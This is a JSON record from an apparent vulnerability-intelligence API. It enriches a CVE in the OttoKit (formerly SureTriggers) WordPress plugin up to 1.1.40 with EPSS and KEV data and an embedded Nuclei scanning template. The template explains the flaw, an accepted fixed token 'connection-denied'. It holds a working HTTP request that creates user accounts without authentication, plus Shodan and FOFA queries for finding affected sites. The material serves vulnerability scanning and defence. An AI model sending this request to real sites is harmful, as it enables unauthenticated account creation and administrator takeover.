{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-110372/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-110372/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-110372/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-110372/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-110372/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-110372/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-110372"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-110372"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.01365,
      "kev": false,
      "percentile": 0.71806
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-110372.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-110372\n\ninfo:\n  name: WordPress OttoKit Plugin <= 1.1.40 - Unauthenticated Privilege Escalation via connection-denied Token\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    OttoKit (formerly SureTriggers) WordPress plugin <= 1.1.40 unauthenticated privilege escalation. When an admin denies the OttoKit SaaS connection, the plugin stores the fixed public string 'connection-denied' as the site API secret. The RestController::autheticate_user permission callback reads the 'st_authorization' request header, strips a 'Bearer ' prefix via sscanf($token,'Bearer %s'), then hash_equals() it against the stored secret. An attacker who sends 'st-authorization: Bearer connection-denied' is authenticated to the automation REST API and can create administrator accounts. Fixed in 1.1.41.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-ottokit-plugin-1-1-40-privilege-escalation-vulnerability\n    - https://wpsec.com/vuln/WPSEC-2026-1053/\n    - https://patchstack.com/articles/additional-critical-ottokit-formerly-suretriggers-vulnerability-patched/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-110372\n    epss-score: 0.01365\n    epss-percentile: 0.71885\n    cwe-id: CWE-266\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: 'http.html:\"wp-content/plugins/suretriggers\"'\n    fofa-query: 'body=\"wp-content/plugins/suretriggers\"'\n  tags: cve,cve2026,wordpress,ottokit,suretriggers,privilege-escalation,unauth,wp-plugin,intrusive,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"sure-triggers\"\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        st-authorization: Bearer connection-denied\n\n        {\"integration\":\"WordPress\",\"type_event\":\"create_user_if_not_exists\",\"selected_options\":{\"user_name\":\"probe{{rand_text_alpha(6)}}\",\"user_email\":\"probe{{rand_text_numeric(4)}}@{{interactsh-url}}\",\"password\":\"Pr0be!{{rand_text_alphanumeric(8)}}Nuc1ei\",\"first_name\":\"Probe\",\"last_name\":\"Check\",\"role\":\"subscriber\",\"force_update_user_role\":true,\"add_user_roles\":true,\"show_password\":true}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"rest_forbidden\"\n          - \"Sorry, you are not allowed to do that\"\n          - \"rest_no_route\"\n        negative: true\n\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n          - '\"user_login\"'\n          - '\"user_registered\"'\n        condition: or\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: created_user_id\n        regex:\n          - '\"ID\":\\s*\"?(\\d+)\"?'\n        group: 1\n# digest: 490a004630440220287fae91d266ebd33858067090a8df4e3e666349853305473460578e8724436e02204e6f8d4bcf5874e844837b71dd566b643162982fce45762fd432e596c247b288:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-110372"
}